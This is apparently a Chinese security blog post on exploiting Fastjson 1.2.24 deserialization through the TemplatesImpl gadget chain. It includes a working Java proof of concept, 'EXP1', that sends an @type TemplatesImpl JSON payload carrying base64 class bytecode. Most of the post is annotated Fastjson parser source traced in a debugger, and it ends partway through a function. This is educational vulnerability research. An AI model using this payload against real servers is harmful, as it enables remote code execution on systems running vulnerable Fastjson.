Fastjson 绕过提升篇
2024-07-08 00:45:31 # javasec # fastjson

fastjson <= 1.2.24

TemplatesImpl 利用链

漏洞分析

从前面fastjson基础篇我们知道fastjson在解析我们上传的json数据时遇到@type会对其指定的class类进行还原对象,而还原的过程中就会触发对应的getter和setter方法,而fastjson攻击的思路就是通过找到库里某个类的getter方法能够达到恶意影响,然后将其通过@type字段发送到服务端的中,服务端在解析的过程中就会执行该不安全的getter或者setter方法
image.png
通过getter我们就能立马想到CC3链用的那条templateimpl链

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

可以看到这条链子上有两个getter方法可以调用
image.png
image.png
第二个作用域为private直接pass掉,剩下第一个getOutputProperties看下他的返回类型满不满足条件继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
image.png
image.png
继承自map所以满足fastjson自动调用的条件,所以现在就可以直接构造exp

EXP1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class exp1 {
public static void main(String[] args) throws Exception {
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
String bytescode = Base64.getEncoder().encodeToString(codes);
String payload = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\""+bytescode+"\"],\n" +
" \"_name\": \"pysnow\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";
Object obj = JSON.parseObject(payload, Object.class,new ParserConfig(), Feature.SupportNonPublicField);
}
}

调试 (包含fastjson解析全流程)

image.png
这里我们添加了一个featureFeature.SupportNonPublicField,这是因为getOutputProperties方法是私有的
image.png
接着调用JSON.pareObject方法进行解析,该方法创建了一个DefaultJSONParser对象对其进行解析,该方法作用就是将feature参数解析成具体值然后交给DefaultJSONParser进行进一步处理
image.png
接着在DefaultJSONParser.parseObject方法先通过词法解析器判断json字符串字一个值是否为literal_string字符串,这里为{,也就是token=12,然后创建了一个ObjectDeserializer对象对其进行进一步反序列化
image.png
接着判断传入的type类型,最终进入到DefaultJSONParser的parse方法里面
image.png
然后根据第一个值进行不同的处理,比如这里第一个值为{则就进入LBRACE分支,也就是左花括号的意思,然后创建了一个JSONObject对象进行parseObject解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
public final Object parseObject(final Map object, Object fieldName) {
final JSONLexer lexer = this.lexer;

if (lexer.token() == JSONToken.NULL) {
lexer.nextToken();
return null;
}

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
}

if (lexer.token() != JSONToken.LBRACE && lexer.token() != JSONToken.COMMA) {
throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
}

ParseContext context = this.context;
try {
boolean setContextFlag = false;
for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();

if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}

return object;
} else if (ch == '\'') {
if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}

key = lexer.scanSymbol(symbolTable, '\'');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos());
}
} else if (ch == EOI) {
throw new JSONException("syntax error");
} else if (ch == ',') {
throw new JSONException("syntax error");
} else if ((ch >= '0' && ch <= '9') || ch == '-') {
lexer.resetStringPosition();
lexer.scanNumber();
try {
if (lexer.token() == JSONToken.LITERAL_INT) {
key = lexer.integerValue();
} else {
key = lexer.decimalValue(true);
}
} catch (NumberFormatException e) {
throw new JSONException("parse number key error" + lexer.info());
}
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("parse number key error" + lexer.info());
}
} else if (ch == '{' || ch == '[') {
lexer.nextToken();
key = parse();
isObjectKey = true;
} else {
if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}

key = lexer.scanSymbolUnQuoted(symbolTable);
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
}
}

if (!isObjectKey) {
lexer.next();
lexer.skipWhitespace();
}

ch = lexer.getCurrent();

lexer.resetStringPosition();

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}

lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
}

this.setResolveStatus(TypeNameRedirect);

if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
}

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}

if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
lexer.nextToken(JSONToken.RBRACE);

Object refValue = null;
if ("@".equals(ref)) {
if (this.context != null) {
ParseContext thisContext = this.context;
Object thisObj = thisContext.object;
if (thisObj instanceof Object[] || thisObj instanceof Collection<?>) {
refValue = thisObj;
} else if (thisContext.parent != null) {
refValue = thisContext.parent.object;
}
}
} else if ("..".equals(ref)) {
if (context.object != null) {
refValue = context.object;
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
} else if ("$".equals(ref)) {
ParseContext rootContext = context;
while (rootContext.parent != null) {
rootContext = rootContext.parent;
}

if (rootContext.object != null) {
refValue = rootContext.object;
} else {
addResolveTask(new ResolveTask(rootContext, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}

if (lexer.token() != JSONToken.RBRACE) {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.COMMA);

return refValue;
} else {
throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
}
}

if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}

if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}

Object value;
if (ch == '"') {
lexer.scanString();
String strValue = lexer.stringVal();
value = strValue;

if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(strValue);
if (iso8601Lexer.scanISO8601DateIfMatch()) {
value = iso8601Lexer.getCalendar().getTime();
}
iso8601Lexer.close();
}

object.put(key, value);
} else if (ch >= '0' && ch <= '9' || ch == '-') {
lexer.scanNumber();
if (lexer.token() == JSONToken.LITERAL_INT) {
value = lexer.integerValue();
} else {
value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
}

object.put(key, value);
} else if (ch == '[') { // 减少嵌套,兼容android
lexer.nextToken();

JSONArray list = new JSONArray();

final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
// if (!parentIsArray) {
// this.setContext(context);
// }
if (fieldName == null) {
this.setContext(context);
}

this.parseArray(list, key);

if (lexer.isEnabled(Feature.UseObjectArray)) {
value = list.toArray();
} else {
value = list;
}
object.put(key, value);

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
} else if (lexer.token() == JSONToken.COMMA) {
continue;
} else {
throw new JSONException("syntax error");
}
} else if (ch == '{') { // 减少嵌套,兼容android
lexer.nextToken();

final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;

JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
ParseContext ctxLocal = null;

if (!parentIsArray) {
ctxLocal = setContext(context, input, key);
}

Object obj = null;
boolean objParsed = false;
if (fieldTypeResolver != null) {
String resolveFieldName = key != null ? key.toString() : null;
Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
if (fieldType != null) {
ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
obj = fieldDeser.deserialze(this, fieldType, key);
objParsed = true;
}
}
if (!objParsed) {
obj = this.parseObject(input, key);
}

if (ctxLocal != null && input != obj) {
ctxLocal.object = object;
}

checkMapResolve(object, key.toString());

if (object.getClass() == JSONObject.class) {
object.put(key.toString(), obj);
} else {
object.put(key, obj);
}

if (parentIsArray) {
//setContext(context, obj, key);
setContext(obj, key);
}

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();

setContext(context);
return object;
} else if (lexer.token() == JSONToken.COMMA) {
if (parentIsArray) {
this.popContext();
} else {
this.setContext(context);
}
continue;
} else {
throw new JSONException("syntax error, " + lexer.tokenName());
}
} else {
lexer.nextToken();
value = parse();

if (object.getClass() == JSONObject.class) {
key = key.toString();
}
object.put(key, value);

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
} else if (lexer.token() == JSONToken.COMMA) {
continue;
} else {
throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
}
}

lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch == ',') {
lexer.next();
continue;
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();

// this.setContext(object, fieldName);
this.setContext(value, key);

return object;
} else {
throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
}

}
} finally {
this.setContext(context);
}

}

简单的讲解一下这个函数,这个在基础篇只是一笔带过了以下,这个函数式用来解析JSON字符串成java对象的方法,也就是实际的fastjson解析代码
image.png
这里就是初始化检测,判断第一个字符是不是{
image.png
接着就是循环解析每个字符,然后分析出键值对,这里面不仅包括常见类型整数字符串等,也包含特殊类型的处理如$ref$type,这里我们就重点关注一下$type这么处理的
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}

lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
}

this.setResolveStatus(TypeNameRedirect);

if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
}

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}

image.png
首先使用词法分析器获取到@type字段指定的类名,接着使用TypeUtils.loadClass加载制定类
image.png
这里用来处理}结束符,如果遇到结束符号,这就进行创建相应的java对象
image.png
接着处理上下文context,以及处理已有的对象
image.png
最后获取ObjectDeserializer对象进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
protected <T> T deserialze(DefaultJSONParser parser, // 解析器
Type type, // 目标类型
Object fieldName, // 字段名称
Object object, // 目标对象
int features) { // 特性标志
// 如果目标类型是JSON或JSONObject,直接解析并返回
if (type == JSON.class || type == JSONObject.class) {
return (T) parser.parse();
}

// 获取词法分析器
final JSONLexerBase lexer = (JSONLexerBase) parser.lexer;

// 获取当前的token
int token = lexer.token();
if (token == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}

// 获取当前解析上下文
ParseContext context = parser.getContext();
if (object != null && context != null) {
context = context.parent;
}
ParseContext childContext = null;

try {
Map<String, Object> fieldValues = null;

// 如果当前token是右大括号,表示对象结束
if (token == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
if (object == null) {
object = createInstance(parser, type);
}
return (T) object;
}

// 如果当前token是左中括号,处理数组映射
if (token == JSONToken.LBRACKET) {
final int mask = Feature.SupportArrayToBean.mask;
boolean isSupportArrayToBean = (beanInfo.parserFeatures & mask) != 0 //
|| lexer.isEnabled(Feature.SupportArrayToBean) //
|| (features & mask) != 0;
if (isSupportArrayToBean) {
return deserialzeArrayMapping(parser, type, fieldName, object);
}
}

// 如果当前token不是左大括号或逗号,处理各种特殊情况
if (token != JSONToken.LBRACE && token != JSONToken.COMMA) {
if (lexer.isBlankInput()) {
return null;
}

if (token == JSONToken.LITERAL_STRING) {
String strVal = lexer.stringVal();
if (strVal.length() == 0) {
lexer.nextToken();
return null;
}
}

if (token == JSONToken.LBRACKET && lexer.getCurrent() == ']') {
lexer.next();
lexer.nextToken();
return null;
}

StringBuffer buf = (new StringBuffer()) //
.append("syntax error, expect {, actual ") //
.append(lexer.tokenName()) //
.append(", pos ") //
.append(lexer.pos());
if (fieldName instanceof String) {
buf.append(", fieldName ").append(fieldName);
}

throw new JSONException(buf.toString());
}

// 处理类型重定向
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
}

// 解析字段
for (int fieldIndex = 0;; fieldIndex++) {
String key = null;
FieldDeserializer fieldDeser = null;
FieldInfo fieldInfo = null;
Class<?> fieldClass = null;
JSONField feildAnnotation = null;

// 获取当前字段的反序列化器和字段信息
if (fieldIndex < sortedFieldDeserializers.length) {
fieldDeser = sortedFieldDeserializers[fieldIndex];
fieldInfo = fieldDeser.fieldInfo;
fieldClass = fieldInfo.fieldClass;
feildAnnotation = fieldInfo.getAnnotation();
}

boolean matchField = false;
boolean valueParsed = false;
Object fieldValue = null;

// 根据字段类型解析字段值
if (fieldDeser != null) {
char[] name_chars = fieldInfo.name_chars;
if (fieldClass == int.class || fieldClass == Integer.class) {
fieldValue = lexer.scanFieldInt(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == long.class || fieldClass == Long.class) {
fieldValue = lexer.scanFieldLong(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == String.class) {
fieldValue = lexer.scanFieldString(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == boolean.class || fieldClass == Boolean.class) {
fieldValue = lexer.scanFieldBoolean(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == float.class || fieldClass == Float.class) {
fieldValue = lexer.scanFieldFloat(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == double.class || fieldClass == Double.class) {
fieldValue = lexer.scanFieldDouble(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass.isEnum() //
&& parser.getConfig().getDeserializer(fieldClass) instanceof EnumDeserializer
&& (feildAnnotation == null || feildAnnotation.deserializeUsing() == Void.class)
) {
if (fieldDeser instanceof DefaultFieldDeserializer) {
ObjectDeserializer fieldValueDeserilizer = ((DefaultFieldDeserializer) fieldDeser).fieldValueDeserilizer;
fieldValue = this.scanEnum(lexer, name_chars, fieldValueDeserilizer);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
}
} else if (fieldClass == int[].class) {
fieldValue = lexer.scanFieldIntArray(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == float[].class) {
fieldValue = lexer.scanFieldFloatArray(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (fieldClass == float[][].class) {
fieldValue = lexer.scanFieldFloatArray2(name_chars);
if (lexer.matchStat > 0) {
matchField = true;
valueParsed = true;
} else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
} else if (lexer.matchField(name_chars)) {
matchField = true;
} else {
continue;
}
}

// 如果字段不匹配,扫描下一个字段
if (!matchField) {
key = lexer.scanSymbol(parser.symbolTable);

if (key == null) {
token = lexer.token();
if (token == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
break;
}
if (token == JSONToken.COMMA) {
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
continue;
}
}
}

// 处理引用字段
if ("$ref" == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
token = lexer.token();
if (token == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
if ("@".equals(ref)) {
object = context.object;
} else if ("..".equals(ref)) {
ParseContext parentContext = context.parent;
if (parentContext.object != null) {
object = parentContext.object;
} else {
parser.addResolveTask(new ResolveTask(parentContext, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
} else if ("$".equals(ref)) {
ParseContext rootContext = context;
while (rootContext.parent != null) {
rootContext = rootContext.parent;
}

if (rootContext.object != null) {
object = rootContext.object;
} else {
parser.addResolveTask(new ResolveTask(rootContext, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
} else {
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
} else {
throw new JSONException("illegal ref, " + JSONToken.name(token));
}

lexer.nextToken(JSONToken.RBRACE);
if (lexer.token() != JSONToken.RBRACE) {
throw new JSONException("illegal ref");
}
lexer.nextToken(JSONToken.COMMA);

parser.setContext(context, object, fieldName);

return (T) object;
}

// 处理类型键
if (JSON.DEFAULT_TYPE_KEY == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);

if (typeName.equals(beanInfo.typeName)) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}

ParserConfig config = parser.getConfig();
ObjectDeserializer deserizer = getSeeAlso(config, this.beanInfo, typeName);
Class<?> userType = null;
if (deserizer == null) {
userType = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

Class<?> expectClass = TypeUtils.getClass(type);
if (expectClass == null ||
(userType != null && expectClass.isAssignableFrom(userType))) {
deserizer = parser.getConfig().getDeserializer(userType);
} else {
throw new JSONException("type not match");
}
}

return (T) deserizer.deserialze(parser, userType, fieldName);
} else {
throw new JSONException("syntax error");
}
}
}

// 创建对象实例或初始化字段值
if (object == null && fieldValues == null) {
object = createInstance(parser, type);
if (object == null) {
fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
}
childContext = parser.setContext(context, object, fieldName);
}

// 处理匹配的字段
if (matchField) {
if (!valueParsed) {
fieldDeser.parseField(parser, object, type, fieldValues);
} else {
if (object == null) {
fieldValues.put(fieldInfo.name, fieldValue);
} else if (fieldValue == null) {
if (fieldClass != int.class //
&& fieldClass != long.class //
&& fieldClass != float.class //
&& fieldClass != double.class //
&& fieldClass != boolean.class //
) {
fieldDeser.setValue(object, fieldValue);
}
} else {
fieldDeser.setValue(object, fieldValue);
}
if (lexer.matchStat == JSONLexer.END) {
break;
}
}
} else {
boolean match = parseField(parser, key, object, type, fieldValues);
if (!match) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}

continue;
} else if (lexer.token() == JSONToken.COLON) {
throw new JSONException("syntax error, unexpect token ':'");
}
}

if (lexer.token() == JSONToken.COMMA) {
continue;
}

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
break;
}

if (lexer.token() == JSONToken.IDENTIFIER || lexer.token() == JSONToken.ERROR) {
throw new JSONException("syntax error, unexpect token " + JSONToken.name(lexer.token()));
}
}

// 创建对象实例
if (object == null) {
if (fieldValues == null) {
object = createInstance(parser, type);
if (childContext == null) {
childContext = parser.setContext(context, object, fieldName);
}
return (T) object;
}

FieldInfo[] fieldInfoList = beanInfo.fields;
int size = fieldInfoList.length;
Object[] params = new Object[size];
for (int i = 0; i < size; ++i) {
FieldInfo fieldInfo = fieldInfoList[i];
Object param = fieldValues.get(fieldInfo.name);
if (param == null) {
Type fieldType = fieldInfo.fieldType;
if (fieldType == byte.class) {
param = (byte) 0;
} else if (fieldType == short.class) {
param = (short) 0;
} else if (fieldType == int.class) {
param = 0;
} else if (fieldType == long.class) {
param = 0L;
} else if (fieldType == float.class) {
param = 0F;
} else if (fieldType == double.class) {
param = 0D;
} else if (fieldType == boolean.class) {
param = Boolean.FALSE;
}
}
params[i] = param;
}

// 使用构造函数或工厂方法创建对象
if (beanInfo.creatorConstructor != null) {
try {
object = beanInfo.creatorConstructor.newInstance(params);
} catch (Exception e) {
throw new JSONException("create instance error, "
+ beanInfo.creatorConstructor.toGenericString(), e);
}
} else if (beanInfo.factoryMethod != null) {
try {
object = beanInfo.factoryMethod.invoke(null, params);
} catch (Exception e) {
throw new JSONException("create factory method error, " + beanInfo.factoryMethod.toString(), e);
}
}
}

// 调用构建方法
Method buildMethod = beanInfo.buildMethod;
if (buildMethod == null) {
return (T) object;
}

Object builtObj;
try {
builtObj = buildMethod.invoke(object);
} catch (Exception e) {
throw new JSONException("build object error", e);
}

return (T) builtObj;
} finally {
if (childContext != null) {
childContext.object = object;
}
parser.setContext(context);
}
}

里面代码大部分都加了注释,这里重点关注一下for循环里面的核心代码
image.png
这里会遍历clazz类对象的几个字段,然后进行匹配,这里发现三个字段一个都匹配不到
接着是匹配不到的逻辑
image.png
这里扫描到key为_bytecodes

  1. 扫描下一个字段的名称:
    • 使用词法分析器扫描下一个字段的名称。
    • 如果字段名称为null,检查当前的token:
      • 如果当前token是右大括号(表示对象结束),跳出循环。
      • 如果当前token是逗号,并且启用了允许任意逗号的特性,则继续解析下一个字段。
  2. 处理引用字段($ref):
    • 如果字段名称为$ref,解析引用路径:
      • 如果引用路径为@,将对象设置为当前上下文的对象。
      • 如果引用路径为..,将对象设置为父上下文的对象。
      • 如果引用路径为$,将对象设置为根上下文的对象。
      • 否则,添加解析任务,并设置解析状态为需要解析。
    • 解析完引用路径后,跳过右大括号,并设置解析上下文,然后返回对象。
  3. 处理类型键(@type):
    • 如果字段名称为类型键(@type),解析类型名称:
      • 如果类型名称与当前对象的类型名称相同,继续解析下一个字段。
      • 否则,加载相应的类,并使用相应的反序列化器解析对象。
      • 如果类型不匹配,抛出异常。

image.png
然后又匹配不到,就开始了创建实例对象,然后正常解析字段了
image.png
image.png
接着进入到parseField方法里面进行解析字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // 获取词法分析器

// 尝试匹配字段反序列化器
FieldDeserializer fieldDeserializer = smartMatch(key);

final int mask = Feature.SupportNonPublicField.mask;
// 如果没有找到匹配的字段反序列化器,并且支持非公共字段
if (fieldDeserializer == null
&& (parser.lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
// 初始化额外字段反序列化器
if (this.extraFieldDeserializers == null) {
ConcurrentHashMap extraFieldDeserializers = new ConcurrentHashMap<String, Object>(1, 0.75f, 1);
Field[] fields = this.clazz.getDeclaredFields();
for (Field field : fields) {
String fieldName = field.getName();
if (this.getFieldDeserializer(fieldName) != null) {
continue;
}
int fieldModifiers = field.getModifiers();
if ((fieldModifiers & Modifier.FINAL) != 0 || (fieldModifiers & Modifier.STATIC) != 0) {
continue;
}
extraFieldDeserializers.put(fieldName, field);
}
this.extraFieldDeserializers = extraFieldDeserializers;
}

// 尝试从额外字段反序列化器中获取字段
